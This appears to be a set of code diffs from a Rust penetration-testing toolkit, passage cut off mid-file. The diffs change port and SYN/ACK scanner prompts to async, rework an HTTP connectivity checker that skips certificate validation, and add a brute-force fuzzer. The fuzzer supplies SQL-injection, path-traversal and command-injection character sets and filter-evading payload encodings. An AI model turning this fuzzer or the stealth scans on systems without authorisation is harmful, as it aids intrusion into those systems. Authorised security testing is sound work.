||||
prompt_with_default("TCP ports (comma separated)", default_ports)?;
|
||||
prompt_with_default("TCP ports (comma separated)", default_ports).await?;
|
||||
let ports = parse_ports(&port_input)?;
|
||||
if ports.is_empty() {
|
||||
println!("{}", " No valid ports provided.".yellow());
|
||||
@@ -254,10 +255,10 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Use SYN scan (stealth scan, requires root)?", false)? {
|
||||
if prompt_yes_no("Use SYN scan (stealth scan, requires root)?", false).await? {
|
||||
let default_ports = "80,443";
|
||||
let port_input =
|
||||
prompt_with_default("TCP ports for SYN scan (comma separated)", default_ports)?;
|
||||
prompt_with_default("TCP ports for SYN scan (comma separated)", default_ports).await?;
|
||||
let ports = parse_ports(&port_input)?;
|
||||
if ports.is_empty() {
|
||||
println!("{}", " No valid ports provided.".yellow());
|
||||
@@ -266,10 +267,10 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Use ACK scan (filter detection, requires root)?", false)? {
|
||||
if prompt_yes_no("Use ACK scan (filter detection, requires root)?", false).await? {
|
||||
let default_ports = "80,443";
|
||||
let port_input =
|
||||
prompt_with_default("TCP ports for ACK scan (comma separated)", default_ports)?;
|
||||
prompt_with_default("TCP ports for ACK scan (comma separated)", default_ports).await?;
|
||||
let ports = parse_ports(&port_input)?;
|
||||
if ports.is_empty() {
|
||||
println!("{}", " No valid ports provided.".yellow());
|
||||
@@ -443,7 +444,7 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
io::stdout().flush().ok();
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
if !successes.is_empty() {
|
||||
@@ -479,7 +480,7 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
|
||||
// Clear progress line
|
||||
print!("\r{}\r", " ".repeat(80));
|
||||
io::stdout().flush().ok();
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
|
||||
let up_hosts = success_counter.load(Ordering::Relaxed);
|
||||
println!(
|
||||
@@ -742,6 +743,10 @@ async fn syn_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result
|
||||
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
|
||||
match sock_clone.recv_from(&mut buf) {
|
||||
Ok((len, addr)) => {
|
||||
// Safe conversion: we know len is valid and within buf bounds
|
||||
if len > buf.len() {
|
||||
return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length"));
|
||||
}
|
||||
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
|
||||
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
|
||||
Ok(Some((slice.to_vec(), sock_addr)))
|
||||
@@ -917,6 +922,10 @@ async fn ack_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result
|
||||
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
|
||||
match sock_clone.recv_from(&mut buf) {
|
||||
Ok((len, addr)) => {
|
||||
// Safe conversion: we know len is valid and within buf bounds
|
||||
if len > buf.len() {
|
||||
return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length"));
|
||||
}
|
||||
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
|
||||
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
|
||||
Ok(Some((slice.to_vec(), sock_addr)))
|
||||
@@ -968,8 +977,25 @@ async fn ack_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result
|
||||
}
|
||||
|
||||
fn get_local_ipv4() -> Option<Ipv4Addr> {
|
||||
// Try to get a local IPv4 address for the source IP
|
||||
// This is a simple implementation - in production you might want more sophisticated logic
|
||||
// Robust implementation using pnet::datalink
|
||||
// logic: find first non-loopback, up, IPv4 interface
|
||||
use pnet::datalink;
|
||||
|
||||
for iface in datalink::interfaces() {
|
||||
// Skip loopback and down interfaces
|
||||
if iface.is_loopback() || !iface.is_up() {
|
||||
continue;
|
||||
}
|
||||
|
||||
for ip in iface.ips {
|
||||
if let IpAddr::V4(ipv4) = ip.ip() {
|
||||
// Return the first valid non-loopback IPv4
|
||||
return Some(ipv4);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback to UDP connection trick if pnet fails
|
||||
use std::net::UdpSocket;
|
||||
if let Ok(socket) = UdpSocket::bind("0.0.0.0:0") {
|
||||
if socket.connect("8.8.8.8:80").is_ok() {
|
||||
@@ -980,14 +1006,21 @@ fn get_local_ipv4() -> Option<Ipv4Addr> {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
|
||||
async fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
|
||||
print!("{}", message.cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_string();
|
||||
if !allow_empty && trimmed.is_empty() {
|
||||
return Err(anyhow!("Input cannot be empty."));
|
||||
@@ -995,14 +1028,20 @@ fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
|
||||
Ok(trimmed)
|
||||
}
|
||||
|
||||
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
async fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
print!(
|
||||
"{}",
|
||||
format!("{} [{}]: ", message, default).cyan().bold()
|
||||
);
|
||||
io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
@@ -1011,16 +1050,22 @@ fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
|
||||
async fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_hint = if default_yes { "Y/n" } else { "y/N" };
|
||||
loop {
|
||||
print!(
|
||||
"{}",
|
||||
format!("{} [{}]: ", message, default_hint).cyan().bold()
|
||||
);
|
||||
io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
@@ -1031,14 +1076,14 @@ fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_usize(
|
||||
async fn prompt_usize(
|
||||
message: &str,
|
||||
default: usize,
|
||||
min: Option<usize>,
|
||||
max: Option<usize>,
|
||||
) -> Result<usize> {
|
||||
loop {
|
||||
let response = prompt_with_default(message, &default.to_string())?;
|
||||
let response = prompt_with_default(message, &default.to_string()).await?;
|
||||
match response.parse::<usize>() {
|
||||
Ok(value) => {
|
||||
if let Some(minimum) = min {
|
||||
@@ -1066,14 +1111,14 @@ fn prompt_usize(
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_u64(
|
||||
async fn prompt_u64(
|
||||
message: &str,
|
||||
default: u64,
|
||||
min: Option<u64>,
|
||||
max: Option<u64>,
|
||||
) -> Result<u64> {
|
||||
loop {
|
||||
let response = prompt_with_default(message, &default.to_string())?;
|
||||
let response = prompt_with_default(message, &default.to_string()).await?;
|
||||
match response.parse::<u64>() {
|
||||
Ok(value) => {
|
||||
if let Some(minimum) = min {
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use anyhow::{Result, anyhow, Context};
|
||||
use colored::*;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{self, Write, BufWriter},
|
||||
io::{Write, BufWriter},
|
||||
net::{SocketAddr, ToSocketAddrs},
|
||||
sync::{Arc, Mutex},
|
||||
time::Instant,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
io::{AsyncReadExt, AsyncWriteExt, AsyncBufReadExt},
|
||||
net::{TcpStream, UdpSocket},
|
||||
sync::Semaphore,
|
||||
time::{timeout, Duration},
|
||||
@@ -77,7 +77,7 @@ fn get_service_name(port: u16) -> &'static str {
|
||||
}
|
||||
|
||||
/// Interactive config prompt
|
||||
pub fn prompt_settings() -> Result<ScanSettings> {
|
||||
pub async fn prompt_settings() -> Result<ScanSettings> {
|
||||
println!("{}", "\n=== Port Scanner Configuration ===".cyan().bold());
|
||||
|
||||
// Port range selection
|
||||
@@ -87,14 +87,14 @@ pub fn prompt_settings() -> Result<ScanSettings> {
|
||||
println!(" 3. Top 1000 ports");
|
||||
println!(" 4. Custom range");
|
||||
|
||||
let range_choice = prompt_usize("Select option (1-4) [1]: ")?;
|
||||
let range_choice = prompt_usize("Select option (1-4) [1]: ").await?;
|
||||
let port_range = match range_choice {
|
||||
1 | 0 => PortRange::All,
|
||||
2 => PortRange::Common,
|
||||
3 => PortRange::Top1000,
|
||||
4 => {
|
||||
let start_val: usize = prompt_usize("Start port: ")?;
|
||||
let end_val: usize = prompt_usize("End port: ")?;
|
||||
let start_val: usize = prompt_usize("Start port: ").await?;
|
||||
let end_val: usize = prompt_usize("End port: ").await?;
|
||||
|
||||
if start_val > 65535 || start_val == 0 {
|
||||
return Err(anyhow!("Start port must be between 1 and 65535"));
|
||||
@@ -118,19 +118,19 @@ pub fn prompt_settings() -> Result<ScanSettings> {
|
||||
println!("{}", format!("[*] Selected {} ports to scan", ports.len()).green());
|
||||
|
||||
Ok(ScanSettings {
|
||||
concurrency: prompt_usize("Concurrency [100]: ").unwrap_or(100),
|
||||
timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").unwrap_or(3) as u64,
|
||||
show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").unwrap_or(true),
|
||||
verbose: prompt_bool("Verbose output? (y/n) [n]: ").unwrap_or(false),
|
||||
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n) [n]: ").unwrap_or(false),
|
||||
output_file: prompt("Output filename [scan_results.txt]: ").unwrap_or_else(|_| "scan_results.txt".to_string()),
|
||||
concurrency: prompt_usize("Concurrency [100]: ").await.unwrap_or(100),
|
||||
timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").await.unwrap_or(3) as u64,
|
||||
show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").await.unwrap_or(true),
|
||||
verbose: prompt_bool("Verbose output? (y/n) [n]: ").await.unwrap_or(false),
|
||||
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n) [n]: ").await.unwrap_or(false),
|
||||
output_file: prompt("Output filename [scan_results.txt]: ").await.unwrap_or_else(|_| "scan_results.txt".to_string()),
|
||||
port_range,
|
||||
})
|
||||
}
|
||||
|
||||
/// Main entrypoint for interactive CLI mode
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
let settings = prompt_settings()?;
|
||||
let settings = prompt_settings().await?;
|
||||
run_with_settings(
|
||||
target,
|
||||
settings.concurrency,
|
||||
@@ -464,17 +464,23 @@ fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
|
||||
}
|
||||
|
||||
/// === Prompt Utilities ===
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message.cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut buf)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(buf.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str) -> Result<bool> {
|
||||
async fn prompt_bool(message: &str) -> Result<bool> {
|
||||
loop {
|
||||
let input = prompt(message)?;
|
||||
let input = prompt(message).await?;
|
||||
if input.is_empty() {
|
||||
return Ok(false);
|
||||
}
|
||||
@@ -486,9 +492,9 @@ fn prompt_bool(message: &str) -> Result<bool> {
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_usize(message: &str) -> Result<usize> {
|
||||
async fn prompt_usize(message: &str) -> Result<usize> {
|
||||
loop {
|
||||
let input = prompt(message)?;
|
||||
let input = prompt(message).await?;
|
||||
if input.is_empty() {
|
||||
return Err(anyhow!("Input required"));
|
||||
}
|
||||
@@ -580,7 +586,9 @@ impl ProgressTracker {
|
||||
rate,
|
||||
remaining
|
||||
).cyan());
|
||||
io::stdout().flush().unwrap();
|
||||
// Note: This is in a sync context (ProgressTracker), so we use blocking flush
|
||||
// The ProgressTracker is called from async context but uses sync printing
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
|
||||
if self.current == self.total {
|
||||
println!();
|
||||
|
||||
@@ -1,15 +1,221 @@
|
||||
use anyhow::{Result, Context};
|
||||
use reqwest;
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::fs::File;
|
||||
use std::io::Write;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ HTTP Connectivity Scanner ║".cyan());
|
||||
println!("{}", "║ Checks HTTP/HTTPS reachability and response codes ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// A simple scanner that tries an HTTP GET and prints the response code
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Running sample_scanner on: {}", target);
|
||||
|
||||
let url = format!("http://{}", target);
|
||||
let resp = reqwest::get(&url)
|
||||
.await
|
||||
.context("Failed to send request")?;
|
||||
|
||||
println!("[*] Status code: {}", resp.status());
|
||||
display_banner();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let timeout_secs = prompt_timeout().await?;
|
||||
let check_http = prompt_bool("Check HTTP (port 80)?", true).await?;
|
||||
let check_https = prompt_bool("Check HTTPS (port 443)?", true).await?;
|
||||
let verbose = prompt_bool("Verbose output?", false).await?;
|
||||
let save_results = prompt_bool("Save results to file?", false).await?;
|
||||
|
||||
if !check_http && !check_https {
|
||||
return Err(anyhow!("At least one protocol must be selected"));
|
||||
}
|
||||
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let mut results = Vec::new();
|
||||
let start = Instant::now();
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Starting scan...".cyan().bold());
|
||||
|
||||
// Check HTTP
|
||||
if check_http {
|
||||
let url = if target.contains("://") {
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("http://{}", target)
|
||||
};
|
||||
|
||||
if verbose {
|
||||
println!("{}", format!("[*] Checking {}...", url).dimmed());
|
||||
}
|
||||
|
||||
match client.get(&url).send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let status_str = status.to_string();
|
||||
let content_type = resp.headers()
|
||||
.get("content-type")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
let server = resp.headers()
|
||||
.get("server")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] HTTP {} -> {} (Server: {}, Content-Type: {})",
|
||||
url, status_str, server, content_type).green());
|
||||
} else if status.is_redirection() {
|
||||
let location = resp.headers()
|
||||
.get("location")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
println!("{}", format!("[~] HTTP {} -> {} (Redirect: {})", url, status_str, location).yellow());
|
||||
} else {
|
||||
println!("{}", format!("[-] HTTP {} -> {}", url, status_str).red());
|
||||
}
|
||||
|
||||
results.push(format!("HTTP {} -> {} (Server: {})", url, status_str, server));
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] HTTP {} -> Error: {}", url, e).red());
|
||||
results.push(format!("HTTP {} -> Error: {}", url, e));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check HTTPS
|
||||
if check_https {
|
||||
let url = if target.contains("://") {
|
||||
target.replace("http://", "https://")
|
||||
} else {
|
||||
format!("https://{}", target)
|
||||
};
|
||||
|
||||
if verbose {
|
||||
println!("{}", format!("[*] Checking {}...", url).dimmed());
|
||||
}
|
||||
|
||||
match client.get(&url).send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let status_str = status.to_string();
|
||||
let server = resp.headers()
|
||||
.get("server")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
let content_type = resp.headers()
|
||||
.get("content-type")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] HTTPS {} -> {} (Server: {}, Content-Type: {})",
|
||||
url, status_str, server, content_type).green());
|
||||
} else if status.is_redirection() {
|
||||
let location = resp.headers()
|
||||
.get("location")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
println!("{}", format!("[~] HTTPS {} -> {} (Redirect: {})", url, status_str, location).yellow());
|
||||
} else {
|
||||
println!("{}", format!("[-] HTTPS {} -> {}", url, status_str).red());
|
||||
}
|
||||
|
||||
results.push(format!("HTTPS {} -> {} (Server: {})", url, status_str, server));
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] HTTPS {} -> Error: {}", url, e).red());
|
||||
results.push(format!("HTTPS {} -> Error: {}", url, e));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start.elapsed();
|
||||
|
||||
// Print summary
|
||||
println!();
|
||||
println!("{}", "=== Scan Summary ===".bold());
|
||||
println!(" Target: {}", target);
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
println!(" Checks: {}", results.len());
|
||||
|
||||
// Save results
|
||||
if save_results && !results.is_empty() {
|
||||
let filename = prompt_with_default("Output filename", "http_scan_results.txt").await?;
|
||||
let mut file = File::create(&filename).context("Failed to create output file")?;
|
||||
writeln!(file, "HTTP Connectivity Scan Results")?;
|
||||
writeln!(file, "Target: {}", target)?;
|
||||
writeln!(file, "Duration: {:.2}s", elapsed.as_secs_f64())?;
|
||||
writeln!(file)?;
|
||||
for result in &results {
|
||||
writeln!(file, "{}", result)?;
|
||||
}
|
||||
println!("{}", format!("[+] Results saved to '{}'", filename).green());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{}", format!("{} [{}]: ", message, hint).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", message, default).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_timeout() -> Result<u64> {
|
||||
print!("{}", "Timeout in seconds [10]: ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(10)
|
||||
} else {
|
||||
trimmed.parse().map_err(|_| anyhow!("Invalid timeout"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,555 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::{Client, header};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashMap;
|
||||
use std::fs::{self, OpenOptions};
|
||||
use std::io::Write;
|
||||
use std::fmt::Write as FmtWrite; // Rename to avoid conflict with io::Write
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::sync::{mpsc, Semaphore};
|
||||
use crate::utils::{
|
||||
prompt_required, prompt_default, prompt_yes_no, normalize_target, prompt_existing_file
|
||||
};
|
||||
use base64::{Engine as _, engine::general_purpose};
|
||||
use rand::seq::IndexedRandom;
|
||||
|
||||
// --- Enums & Config ---
|
||||
|
||||
#[derive(Serialize, Deserialize, Debug, Clone, Copy, PartialEq)]
|
||||
pub enum EncodingType {
|
||||
None,
|
||||
Url,
|
||||
DoubleUrl,
|
||||
Hex,
|
||||
Unicode,
|
||||
HtmlEntity,
|
||||
Decimal,
|
||||
Octal,
|
||||
Base64,
|
||||
Mixed,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize, Debug, Clone)]
|
||||
pub struct SequentialFuzzerConfig {
|
||||
pub target_url: String,
|
||||
pub charset_mode: u8, // 1=SQL, 2=Traversal, 3=Cmd, 4=All, 5=Custom
|
||||
pub custom_charset: Option<String>,
|
||||
pub min_length: usize,
|
||||
pub max_length: usize,
|
||||
pub encoding: EncodingType,
|
||||
pub concurrency: usize,
|
||||
pub cookies: Option<String>,
|
||||
pub verbose: bool,
|
||||
}
|
||||
|
||||
impl Default for SequentialFuzzerConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
target_url: String::new(),
|
||||
charset_mode: 4,
|
||||
custom_charset: None,
|
||||
min_length: 1,
|
||||
max_length: 3,
|
||||
encoding: EncodingType::None,
|
||||
concurrency: 50,
|
||||
cookies: None,
|
||||
verbose: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct FuzzResult {
|
||||
path: String,
|
||||
status: u16,
|
||||
size: u64,
|
||||
}
|
||||
|
||||
// --- Charsets ---
|
||||
|
||||
const CHARSET_SQL: &str = "'\";-/*=";
|
||||
const CHARSET_TRAVERSAL: &str = "./\\";
|
||||
const CHARSET_CMD: &str = "|;&$()<> '\"";
|
||||
const CHARSET_ALL: &str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_=+[]{};:'\",.<>/?|`~";
|
||||
|
||||
fn get_charset(config: &SequentialFuzzerConfig) -> Vec<char> {
|
||||
match config.charset_mode {
|
||||
1 => CHARSET_SQL.chars().collect(),
|
||||
2 => CHARSET_TRAVERSAL.chars().collect(),
|
||||
3 => CHARSET_CMD.chars().collect(),
|
||||
5 => config.custom_charset.as_deref().unwrap_or("").chars().collect(),
|
||||
_ => CHARSET_ALL.chars().collect(),
|
||||
}
|
||||
}
|
||||
|
||||
// --- Encoding Logic ---
|
||||
|
||||
fn encode_payload(input: &str, encoding: EncodingType) -> String {
|
||||
match encoding {
|
||||
EncodingType::None => input.to_string(),
|
||||
EncodingType::Url => urlencoding::encode(input).to_string(),
|
||||
EncodingType::DoubleUrl => urlencoding::encode(&urlencoding::encode(input).to_string()).to_string(),
|
||||
EncodingType::Hex => {
|
||||
input.chars().map(|c| format!("\\x{:02X}", c as u8)).collect()
|
||||
},
|
||||
EncodingType::Unicode => {
|
||||
input.chars().map(|c| format!("\\u00{:02X}", c as u8)).collect()
|
||||
},
|
||||
EncodingType::HtmlEntity => {
|
||||
input.chars().map(|c| {
|
||||
match c {
|
||||
'"' => """.to_string(),
|
||||
'\'' => "'".to_string(),
|
||||
'<' => "<".to_string(),
|
||||
'>' => ">".to_string(),
|
||||
'&' => "&".to_string(),
|
||||
_ => c.to_string()
|
||||
}
|
||||
}).collect()
|
||||
},
|
||||
EncodingType::Decimal => {
|
||||
input.chars().map(|c| format!("&#{};", c as u8)).collect()
|
||||
},
|
||||
EncodingType::Octal => {
|
||||
input.chars().map(|c| format!("\\{:03o}", c as u8)).collect()
|
||||
},
|
||||
EncodingType::Base64 => {
|
||||
general_purpose::STANDARD.encode(input)
|
||||
},
|
||||
EncodingType::Mixed => {
|
||||
// Randomly apply an encoding per character (simplified: raw or url or hex)
|
||||
let mut rng = rand::rng();
|
||||
input.chars().map(|c| {
|
||||
match [0, 1, 2].choose(&mut rng).unwrap_or(&0) {
|
||||
0 => c.to_string(),
|
||||
1 => format!("%{:02X}", c as u8),
|
||||
_ => format!("\\x{:02X}", c as u8),
|
||||
}
|
||||
}).collect()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- Main Entry ---
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
// Menu
|
||||
println!("{}", "Select Operation Mode:".cyan().bold());
|
||||
println!("1. Quick Attack (All ASCII, No Encoding)");
|
||||
println!("2. Create Template (Wizard -> Save)");
|
||||
println!("3. Load Template (Load -> Run)");
|
||||
println!("4. Custom Attack (Wizard -> Run)");
|
||||
|
||||
let choice = prompt_default("Selection", "1").await?;
|
||||
|
||||
let config = match choice.as_str() {
|
||||
"1" => setup_quick_attack(target).await?,
|
||||
"2" => {
|
||||
let cfg = setup_wizard(target).await?;
|
||||
save_template(&cfg).await?;
|
||||
println!("\n{}", "Template saved. Exiting module.".green());
|
||||
return Ok(());
|
||||
},
|
||||
"3" => load_template().await?,
|
||||
"4" => setup_wizard(target).await?,
|
||||
_ => {
|
||||
println!("{}", "Invalid selection. Defaulting to Quick Attack.".yellow());
|
||||
setup_quick_attack(target).await?
|
||||
}
|
||||
};
|
||||
|
||||
execute_fuzz(config).await
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Sequential Fuzzer (Brute Force) ║".cyan());
|
||||
println!("{}", "║ Features: Actor Storage, 10 Encodings, Instant Saving ║".red());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
// --- Setup ---
|
||||
|
||||
async fn setup_quick_attack(initial_target: &str) -> Result<SequentialFuzzerConfig> {
|
||||
println!("\n{}", "--- Quick Attack Setup ---".blue().bold());
|
||||
let url = parse_target_interactive(initial_target).await?;
|
||||
|
||||
// Forced Input for Reliability
|
||||
let min_len_str = prompt_required("Min Sequence Length (e.g. 1)").await?;
|
||||
let min_len: usize = min_len_str.parse().unwrap_or(1);
|
||||
|
||||
let max_len_str = prompt_required("Max Sequence Length (e.g. 3)").await?;
|
||||
let max_len: usize = max_len_str.parse().unwrap_or(3);
|
||||
|
||||
let verbose = prompt_yes_no("Verbose Mode? (Print all 403s)", false).await?;
|
||||
|
||||
Ok(SequentialFuzzerConfig {
|
||||
target_url: url,
|
||||
charset_mode: 4, // All
|
||||
min_length: min_len,
|
||||
max_length: max_len,
|
||||
encoding: EncodingType::None,
|
||||
concurrency: 50,
|
||||
verbose,
|
||||
..SequentialFuzzerConfig::default()
|
||||
})
|
||||
}
|
||||
|
||||
async fn setup_wizard(initial_target: &str) -> Result<SequentialFuzzerConfig> {
|
||||
println!("\n{}", "--- Configuration Wizard ---".blue().bold());
|
||||
|
||||
// 1. Target
|
||||
let url = parse_target_interactive(initial_target).await?;
|
||||
|
||||
// 2. Charset
|
||||
println!("\n{}", "Select Charset:".cyan());
|
||||
println!("1. SQL Injection ({})", CHARSET_SQL);
|
||||
println!("2. Path Traversal ({})", CHARSET_TRAVERSAL);
|
||||
println!("3. Command Injection ({})", CHARSET_CMD);
|
||||
